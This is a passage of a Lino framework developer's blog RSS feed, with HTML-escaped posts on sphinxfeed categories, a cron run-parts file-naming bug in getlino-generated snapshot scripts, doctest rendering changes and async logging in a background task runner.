two new fields &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;category&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;tags&lt;/span&gt;&lt;/code&gt; in the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;metadata&lt;/span&gt;&lt;/code&gt; of the page. If it
does, sphinxfeed now uses the &lt;a class="reference external" href="https://feedgen.kiesow.be/api.entry.html#feedgen.entry.FeedEntry.category"&gt;feedgen.FeedEntry.category()&lt;/a&gt;
method to add &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;category&amp;gt;&lt;/span&gt;&lt;/code&gt; elements to the feed item.&lt;/p&gt;
&lt;p&gt;The difference between &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;category&lt;/span&gt;&lt;/code&gt; and &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;tags&lt;/span&gt;&lt;/code&gt; is that  the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;category&lt;/span&gt;&lt;/code&gt; of a
blog post may contain spaces while the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;tags&lt;/span&gt;&lt;/code&gt; metadata field is itself a
space-separated list of tags, so each tag must be a single word. Both the
category and each tag will become a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;category&amp;gt;&lt;/span&gt;&lt;/code&gt; element in the feed.&lt;/p&gt;
&lt;p&gt;One feed entry can have multiple &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;category&amp;gt;&lt;/span&gt;&lt;/code&gt; elements (according to the &lt;a class="reference external" href="https://datatracker.ietf.org/doc/html/rfc4287#section-4.1.2"&gt;ATOM
specification&lt;/a&gt;),
but Sphinx &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;metadata&lt;/span&gt;&lt;/code&gt; is designed to have a field at most once per page.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://luc.lino-framework.org/rss.xml"&gt;rss.xml file of my blog&lt;/a&gt; now
declares three “categories” for this entry:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;blog&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2024&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;0530.&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Alvatal&lt;/span&gt; &lt;span class="n"&gt;moved&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;GitHub&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;GitLab&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;updated&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;2024&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;06&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt;&lt;span class="n"&gt;T07&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;14.936148&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;updated&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;...&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;link&lt;/span&gt; &lt;span class="n"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://luc.lino-framework.org/blog/2024/0530.html&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt; &lt;span class="n"&gt;term&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;alvatal&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt; &lt;span class="n"&gt;term&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;estonia&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt; &lt;span class="n"&gt;term&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foss&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;published&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;2024&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="n"&gt;T23&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;59&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;published&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And yes! After restarting the &lt;a class="reference external" href="https://gitlab.com/alvatal/www/-/pipelines"&gt;pipeline on GitLab&lt;/a&gt;, here finally Alvatal also lists
my blog entry:
&lt;a class="reference external" href="https://alvatal.ee/blogs_en/2024/05/30/alvatal-moved-from-github-to-gitlab/"&gt;https://alvatal.ee/blogs_en/2024/05/30/alvatal-moved-from-github-to-gitlab/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;What’s the difference between a “category” and a “tag”? WordPress as a leading
free blogging software can be considered an authority for answering this
question:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;“WordPress lets you put a post into multiple categories. (…) It’s possible
that having your post in multiple categories could cause some SEO issues due
to duplicate content. If you do use multiple categories, then try to avoid
putting one post into two or more main (parent) categories. Each post should
fit within one main category.”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“WordPress itself doesn’t have any limit on the number of tags you can have on
each post. ()…) We suggest that you normally stick to a maximum of 10 tags
per post.”&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;(Excerpt from &lt;a class="reference external" href="https://www.wpbeginner.com/beginners-guide/categories-vs-tags-seo-best-practices-which-one-is-better/"&gt;Categories vs Tags – SEO Best Practices for Sorting Your Content&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0530.html</guid><category>alvatal</category><category>estonia</category><category>foss</category><pubDate>Thu, 30 May 2024 00:00:00 +0000</pubDate></item><item><title>A miracle in cron?</title><link>https://luc.lino-framework.org/blog/2024/0516.html</link><description>&lt;section id="a-miracle-in-cron"&gt;
&lt;h1&gt;A miracle in cron?&lt;a class="headerlink" href="#a-miracle-in-cron" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Thursday, May 16, 2024&lt;/p&gt;
&lt;p&gt;I am working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5588"&gt;#5588&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;On a Lino server with two sites &lt;cite&gt;a&lt;/cite&gt; and &lt;cite&gt;b&lt;/cite&gt;, we have two scripts
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;make_snapshot_a.sh&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;make_snapshot_b.sh&lt;/span&gt;&lt;/code&gt; in
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/cron.daily/&lt;/span&gt;&lt;/code&gt;, both generated by &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; as
follows:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ch"&gt;#!/bin/sh&lt;/span&gt;
&lt;span class="c1"&gt;# generated by getlino&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt; &lt;span class="n"&gt;stop&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;make_snapshot&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;
&lt;span class="n"&gt;sudo&lt;/span&gt; &lt;span class="n"&gt;service&lt;/span&gt; &lt;span class="n"&gt;supervisor&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But the daily snapshots were not being made. And no error message. We moved the
two scripts to &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/local/bin/&lt;/span&gt;&lt;/code&gt; and created a new script
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/cron.daily/linobackups&lt;/span&gt;&lt;/code&gt; with the following content:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ch"&gt;#!/bin/sh&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;make_snapshot_a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;
&lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;make_snapshot_b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;null&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And after this change the daily snapshots started to work again! A miracle!?&lt;/p&gt;
&lt;p&gt;That’s the kind of situations where Hannes stops worrying and where I start
worrying. Because this would mean that &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; does something
wrong. And because I don’t believe in miracles. I am pretty sure that the
additional &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;linobackups&lt;/span&gt;&lt;/code&gt; script was not the explanation.&lt;/p&gt;
&lt;p&gt;So I undid this move:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ mkdir ~/20240516
$ cd ~/20240516
$ sudo mv /etc/cron.daily/linobackups .
$ sudo mv /usr/local/bin/make_snapshot_a.sh /etc/cron.daily/
$ sudo mv /usr/local/bin/make_snapshot_b.sh /etc/cron.daily/
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;P.S. 2024-05-31:&lt;/p&gt;
&lt;p&gt;And yes, after my change the daily snapshots stopped again to work. And I
explained to Hannes that I don’t want a &lt;em&gt;solution&lt;/em&gt;, I want an &lt;em&gt;explanation&lt;/em&gt;. And
after two weeks of research, Hannes found this explanation (in a &lt;a class="reference external" href="https://stackoverflow.com/questions/16218705/crontab-not-executing-bash-script"&gt;discussion on
SO&lt;/a&gt;):
&lt;cite&gt;run-parts&lt;/cite&gt; (which is used by &lt;cite&gt;cron&lt;/cite&gt;) ignores files with a period in the name.&lt;/p&gt;
&lt;p&gt;So yes, &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; did something wrong. I made the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/changes/index.html#getlino-changes" title="(in getlino docs)"&gt;&lt;span class="xref std std-ref"&gt;change&lt;/span&gt;&lt;/a&gt;, it was &lt;a class="reference external" href="https://gitlab.com/lino-framework/getlino/-/commit/82d4b7521dc0c6d2422c7ab7f14f5bc215fc735f"&gt;a single line of code&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Yes, the stupidest errors are the hardest to find!&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0516.html</guid><pubDate>Thu, 16 May 2024 00:00:00 +0000</pubDate></item><item><title>Wednesday, May 8, 2024</title><link>https://luc.lino-framework.org/blog/2024/0508.html</link><description>&lt;section id="wednesday-may-8-2024"&gt;
&lt;h1&gt;Wednesday, May 8, 2024&lt;a class="headerlink" href="#wednesday-may-8-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I am working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5590"&gt;#5590&lt;/a&gt; (Render href in tested docs more consistently).&lt;/p&gt;
&lt;p&gt;﻿Until now the ;meth:&lt;cite&gt;rt.show&lt;/cite&gt; function in a doctest rendered clickable cell
﻿content sometimes using &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;*emphasis*&lt;/span&gt;&lt;/code&gt;, sometimes using &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;**boldface**&lt;/span&gt;&lt;/code&gt; and
﻿sometimes as &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;﻿`reStruturedText&lt;/span&gt; &lt;span class="pre"&gt;links&lt;/span&gt; &lt;span class="pre"&gt;&amp;lt;some_url&amp;gt;`__&lt;/span&gt;&lt;/code&gt;. Now it uses
﻿consistently the latter.&lt;/p&gt;
&lt;p&gt;Here is an example of what this means to many tested documents:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;-=============================== =================== ===========
- When                            Calendar entry      State
-------------------------------- ------------------- -----------
- Fri 06/11/2015-Sun 08/11/2015   *Activity #26  5*   Suggested
- Fri 02/10/2015-Sun 04/10/2015   *Activity #26  4*   Suggested
- Fri 28/08/2015-Sun 30/08/2015   *Activity #26  3*   Suggested
- Fri 24/07/2015-Sun 26/07/2015   *Activity #26  2*   Suggested
- Fri 19/06/2015-Sun 21/06/2015   *Activity #26  1*   Suggested
-=============================== =================== ===========
+=============================== ======================== ===========
+ When                            Calendar entry           State
+------------------------------- ------------------------ -----------
+ Fri 06/11/2015-Sun 08/11/2015   `Activity #26  5 &amp;lt;…&amp;gt;`__   Suggested
+ Fri 02/10/2015-Sun 04/10/2015   `Activity #26  4 &amp;lt;…&amp;gt;`__   Suggested
+ Fri 28/08/2015-Sun 30/08/2015   `Activity #26  3 &amp;lt;…&amp;gt;`__   Suggested
+ Fri 24/07/2015-Sun 26/07/2015   `Activity #26  2 &amp;lt;…&amp;gt;`__   Suggested
+ Fri 19/06/2015-Sun 21/06/2015   `Activity #26  1 &amp;lt;…&amp;gt;`__   Suggested
+=============================== ======================== ===========
 &amp;lt;BLANKLINE&amp;gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0508.html</guid><pubDate>Wed, 08 May 2024 00:00:00 +0000</pubDate></item><item><title>Monday, May 6, 2024</title><link>https://luc.lino-framework.org/blog/2024/0506.html</link><description>&lt;section id="monday-may-6-2024"&gt;
&lt;h1&gt;Monday, May 6, 2024&lt;a class="headerlink" href="#monday-may-6-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;New or updated rules.&lt;/p&gt;
&lt;p&gt;Lino no longer tests for &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;if&lt;/span&gt; &lt;span class="pre"&gt;s.startswith(&amp;quot;&amp;lt;&amp;quot;)&lt;/span&gt;&lt;/code&gt; for deciding whether a string
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;s&lt;/span&gt;&lt;/code&gt; contains safe html. If you don’t want it to get escaped, you must mark it
as safe using &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;mark_safe()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;TODO: Rename &lt;cite&gt;Model.as_summary_row&lt;/cite&gt; to &lt;cite&gt;Model.as_summary_item&lt;/cite&gt;&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Model.as_paragraph()&lt;/span&gt;&lt;/code&gt; should include a link to the detail. Lino no longer
adds such a link automatically in certain places. (&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;add_detail_link()&lt;/span&gt;&lt;/code&gt; has
been removed).&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0506.html</guid><pubDate>Mon, 06 May 2024 00:00:00 +0000</pubDate></item><item><title>Wednesday, April 24, 2024</title><link>https://luc.lino-framework.org/blog/2024/0424.html</link><description>&lt;section id="wednesday-april-24-2024"&gt;
&lt;h1&gt;Wednesday, April 24, 2024&lt;a class="headerlink" href="#wednesday-april-24-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5570"&gt;#5570&lt;/a&gt; (Jane doesn’t send email notifications) is not trivial. It was
(of course) caused by my changes in the &lt;a class="reference external" href="https://using.lino-framework.org/plugins/linod.html#term-background-task-runner" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;background task runner&lt;/span&gt;&lt;/a&gt;. I am
really still too naive regarding asynchronous programming!&lt;/p&gt;
&lt;p&gt;Should we add test coverage for asynchronous operations.  A unit test case in
noi1r that creates a &lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#xfile-log" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;log&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; directory (in order to activate the socket
logger), launches a &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;linod&lt;/span&gt;&lt;/code&gt; process and some &lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#term-django-admin-command" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;django-admin
command&lt;/span&gt;&lt;/a&gt; and then checks the content of the &lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#xfile-lino.log" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.log&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file…&lt;/p&gt;
&lt;p&gt;Here is an excerpt from &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.invoicing.models&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Task&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Runnable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UserAuthored&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="n"&gt;target_journal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ForeignKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="s1"&gt;&amp;#39;ledger.Journal&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;verbose_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Target journal&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="n"&gt;related_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;invoicing_task_targets&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;__str__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Make &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;target_journal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Runnable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Sequenced&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;RecurrenceSet&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;start_task&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Arguments: (Unprintable Task(pk=1,error=SynchronousOnlyOperation(‘You cannot
call this from an async context - use a thread or sync_to_async.’),)&lt;/p&gt;
&lt;p&gt;Do we really need the asynchronous versions of
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.debug&lt;/span&gt;&lt;/code&gt;,
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.info&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar.warning&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Edit 20240426: Yes we do. Because these methods potentially lead to I/O
operations. When calling them from an async context, code execution would
potentially continue before they have done their work. I tried to reproduce the
problem but without success. Maybe the problem exists only with Django?&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="sd"&gt;Trying to show why the logging module needs an async interface.&lt;/span&gt;
&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;

